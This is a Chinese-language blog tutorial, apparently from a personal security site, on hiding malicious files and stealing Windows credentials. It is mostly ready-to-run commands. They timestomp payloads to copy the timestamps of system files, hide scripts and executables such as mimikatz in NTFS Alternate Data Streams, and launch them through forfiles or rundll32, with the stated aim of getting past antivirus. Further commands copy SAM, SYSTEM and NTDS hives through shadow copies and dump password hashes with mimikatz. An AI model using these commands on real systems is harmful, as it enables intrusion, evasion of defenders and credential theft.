一、时间戳修改
(一)文件时间戳
Windows(NTFS文件系统)的MACE时间
-
Mtime (Modification Time / 修改时间):文件内容的最后修改时间。
-
Atime (Access Time / 访问时间):文件内容的最后访问时间。
-
Ctime (Creation Time / 创建时间):文件的创建时间。
-
Etime (Entry Modified Time / 条目修改时间):它记录的是文件元数据(比如文件名、权限、大小、其他时间戳)被修改的时间。当我们修改M/A/Ctime时,这个Etime就会更新,分析者看到很近的Etime就会知道我们进行过改动。
-
atime (Access Time):文件内容的最后访问时间
-
mtime (Modification Time):文件内容的最后修改时间
-
ctime (Change Time / Status Change Time):文件状态的最后改变时间
(二)WIndows系统修改时间戳
假定我们有一个恶意脚本名为payload.exe,文件在桌面上文件路径为:C:\Users\28374\Desktop\payload.exe
我们在Powershell中执行命令修改
$MFile = "C:\Users\28374\Desktop\payload.exe"
$LFile = "C:\Windows\System32\drivers\etc\hosts"
$LCreationTime = (Get-Item $LFile).CreationTime
$LWriteTime = (Get-Item $LFile).LastWriteTime
$LAccessTime = (Get-Item $LFile).LastAccessTime
Get-Item $MFile | Select-Object Name, CreationTime, LastWriteTime, LastAccessTime, @{N='EntryModifiedTime';E={$_.PSBase.Properties['LastAccessTimeUtc'].Value}}
(Get-Item $MFile).CreationTime = $LCreationTime
(Get-Item $MFile).LastWriteTime = $LWriteTime
(Get-Item $MFile).LastAccessTime = $LAccessTime
-
MFile变量定义我们恶意文件路径 -
LFile变量定义系统合法文件路径 -
$LCreationTime = (Get-Item $LFile).CreationTime $LWriteTime = (Get-Item $LFile).LastWriteTime $LAccessTime = (Get-Item $LFile).LastAccessTime
获取合法文件时间戳
-
Get-Item $MFile | Select-Object Name, CreationTime, LastWriteTime, LastAccessTime, @{N='EntryModifiedTime';E={$_.PSBase.Properties['LastAccessTimeUtc'].Value}}恶意文件原始时间戳
-
修改
CreationTime,LastWriteTime,LastAccessTime(Get-Item $MFile).CreationTime = $LCreationTime (Get-Item $MFile).LastWriteTime = $LWriteTime (Get-Item $MFile).LastAccessTime = $LAccessTime
修改后Etime还是最新时间,但总比都是最新时间好

如果选择控制不更新Etime,我们还可以调用WinAPI中SetFileTime函数实现
(三)Linux系统修改时间戳
假定我们有一个恶意脚本名为payload.sh,恶意脚本路径为/tmp/payload.sh,我们将其修改为与/bin/bash时间戳一样的
MFILE="/tmp/payload.sh" LFILE="/bin/bash" stat "$MFILE" | grep "Access\|Modify\|Change" touch -r "$LFILE" "$MFILE" stat "$MFILE" | grep "Access\|Modify\|Change"

二、ADS 技术介绍
Alternate Data Streams (ADS)是 WIndows NTFS 文件系统的一个特性,允许在;一个文件(或目录)的主数据流之外,附加一个或多个命名数据流。这些附加流在WIndows资源管理器中默认不可见,也不计入主文件的大小。
ADS 本身是一种存储隐藏而非执行隐藏。但通过 ADS 存储的恶意代码,可以配合各种执行方法(如 powershell.exe -e 读取 ADS 并执行、makecab 提取 ADS 文件执行等),实现“存储免杀”到“执行免杀”的转化。
可以将 Shellcode 存储在 ADS 中,然后通过一个加载器读取 ADS 内容到内存中执行,从而实现文件落地(ADS)但内存执行的隐蔽链条
ADS 仅在 NTFS 文件系统上可用。如果你将文件移动或复制到 FAT32 或其他非 NTFS 格式的磁盘分区,ADS 流数据将会丢失。
三、ADS 技术实现
-
创建 ADS:通过命令行
echo重定向、type命令重定向、 PowerShell 命令 -
读取 ADS:通过
more < 文件名:流名、notepad 文件名:流名或 PowerShellGet-Content命令 -
执行 ADS:间接执行(如 PowerShell 读取 ADS 内容并执行)或直接执行(如
start 文件名:流名.exe或wmic process call create "cmd.exe /c 文件名:流名.exe") -
删除 ADS:通过
del命令结合流名,或 PowerShellRemove-Item
(一)创建和写入ADS
向一个文件中塞入ADS流
方法一:echo重定向写入
打开cmd命令行
echo "This MINI ONE" > C:\Users\28374\desktop\read.txt:secret.txt
使用dir命令可以对比前后内容发现read.txt的文件大小没有改变
方法二:type重定向写入
我们还可以将现有文件的内容藏到ADS中
如恶意Powershell脚本mimikatz.ps1,我们要藏到C:\Windows\System32\license.rtf 的 ADS 里
打开cmd命令行
type C:\Temp\mimikatz.ps1 > C:\Windows\System32\license.rtf:mimikatz.ps1
方法三:Powershell中的 Set-Content 和 Add-Content 来操作 ADS
-
写入内容
Set-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt" -Value "This MINI ONE"
-
追加内容
Add-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt" -Value "That MINI TWO"
-
查看内容
Get-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt"

(二)读取ADS中的数据
方法一:cmd中 more 或 notepad命令
more < C:\Users\28374\desktop\read.txt:secret.txt
直接在终端界面输出显示
notepad C:\Users\28374\desktop\read.txt:secret.txt
打开notepad并显示
方法二:Powershell命令
Get-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "secret.txt"
获取并显示 read.txt 中 secret.txt 流的内容
(三)执行ADS中存储的Payload
例一:执行ADS中的Powershell脚本
-
创建并写入恶意PS脚本到ADS
$maliciousScript="Start-Process calc.exe"
其功能为启动计算器
写入ADS,写入文件路径C:\Users\28374\desktop\read.txt
Set-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "my_script.ps1" -Value $maliciousScript
-
执行ADS中的PS脚本
IEX (Get-Content -Path "C:\Users\28374\desktop\read.txt" -Stream "my_script.ps1")
例二:执行ADS中存储的可执行文件(EXE/DLL)
我们可以将一个完整的evil.exe藏到goodfile.txt:evil.exe 里面,然后执行
-
将合法的
calc.exe写入ADS
cmd type C:\Windows\System32\calc.exe > C:\Users\28374\desktop\read.txt:calc.exe
-
执行ADS中的EXE
wmic process call create "C:\Users\28374\desktop\read.txt:calc.exe"
使用wmic会直接被杀软拦
我们可以更进一步选一个LOLBAS启动我们的进程
forfiles /p "C:\Windows\System32" /m notepad.exe /c "C:\Users\28374\desktop\read.txt:calc.exe"
使用forfiles 的 /c 参数直接执行ADS路径里的二进制
如果是Dll的话,我们可以使用rundll32
rundll32 "C:\Users\28374\desktop\read.txt:evil.dll",EntryPoint
(四)删除ADS
del C:\Users\28374\desktop\read.txt:secret.txt
或者Powershell
Remove-Item -Path C:\Users\28374\desktop\read.txt -Stream "calc.exe"
四、注册表配置单元介绍
-
注册表 (Registry):Windows 操作系统用于存储系统和应用程序配置信息的层次结构数据库
-
注册表配置单元 (Registry Hives):注册表数据的物理存储文件,存储在磁盘上,是注册表逻辑结构的组成部分
(一)重要注册表物理存储路径及相关内容
-
SYSTEM: C:\Windows\System32\config\SYSTEM内容:系统启动信息、设备驱动程序配置、服务配置、启动模式等
-
SAM: C:\Windows\System32\config\SAM内容:安全账户管理器,存储本地用户、用户组、密码哈希、权限信息
-
SECURITY: C:\Windows\System32\config\SECURITY内容:系统安全策略、本地安全权限、LSASS 安全相关数据
-
DEFAULT: C:\Windows\System32\config\DEFAULT内容:默认用户配置,系统服务、未登录用户时使用的默认配置项
-
NTUSER.DAT: C:\Users\ 用户名 \NTUSER.DAT内容:当前用户配置,桌面、资源管理器、用户级软件设置、个性化信息
(二)Hive文件锁定
当WIndows运行时,这些Hive文件是被系统独占锁定的,我们不能直接复制或读取它们,所以需要以下方式:
-
卷影复制服务 :VSS 可以在系统运行时创建文件系统的一致性快照,我们可以从这个快照中复制 Hive 文件
-
在系统关机状态下:如果能拿到物理硬盘,或者在启动 PE 系统等离线环境下,就可以直接复制 Hive 文件
-
利用工具:如
mimikatz、secretsdump.py这样的工具可以直接从内存中或通过绕过文件锁定来提取SAM和SYSTEM的哈希信息
五、注册表配置单元实现
接下来我们将从四个方面对注册表配置单元的操作进行实现,获取、加载、分析。
(一)获取
Powershell 下,我们必须满足权限足够(Administrators), 普通用户无法创建/访问影子副本,并启用VSS服务,杀软在当前环境下还是会拦截此行为链。
# 先创建新影子(推荐,避免用旧的可能有问题) $create = Invoke-CimMethod -ClassName Win32_ShadowCopy -MethodName Create -Arguments @{Volume="C:\"} $shadowID = $create.ShadowID # 获取这个新创建的(最可靠) $shadow = Get-CimInstance Win32_ShadowCopy | Where-Object { $_.ID -eq $shadowID } # 构建路径(用 DeviceObject 更稳定,避免 GUID 解析出错) $shadowPath = $shadow.DeviceObject + "\" # 目标目录 $target = "C:\Temp\Hives" New-Item -Path $target -ItemType Directory -Force | Out-Null # 用 esentutl 逐个拷贝(内置工具,支持 VSS + 绕过部分锁定,成功率远高于 robocopy) esentutl.exe /y "$shadowPath\Windows\System32\config\SAM" /d "$target\SAM" /vss /8 /!64 esentutl.exe /y "$shadowPath\Windows\System32\config\SYSTEM" /d "$target\SYSTEM" /vss /8 /!64 esentutl.exe /y "$shadowPath\Windows\System32\config\SECURITY" /d "$target\SECURITY" /vss /8 /!64 # 清理影子 $shadow | Remove-CimInstance -ErrorAction SilentlyContinue
-
DC域控使用
ntdsutil
使用Powershell,我们可以拿到ntds.dit(域数据库文件)和SYSTEMHive
ntdsutil 'ac i ntds' 'ifm' 'create full C:\Temp\NTDS' q q
(二)加载
reg load HKLM\Offline_SYSTEM C:\Temp\Hives\SYSTEM
将 C:\Temp\Hives\SYSTEM 文件加载到本地注册表的 HKLM 下,并命名为 Offline_SYSTEM
(三)分析
下载到我们本地后,我们就可以随意使用mimikatz等工具进行信息提取了
mimikatz.exe "lsadump::sam /sam:C:\Temp\Hives\SAM /system:C:\Temp\Hives\SYSTEM" "exit"
提取SAM与SYSTEM中的哈希
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://www.oneblanks.xyz/%e6%96%87%e4%bb%b6%e7%b3%bb%e7%bb%9f%e9%9a%90%e8%97%8f%e6%8a%80%e6%9c%af/
共有 0 条评论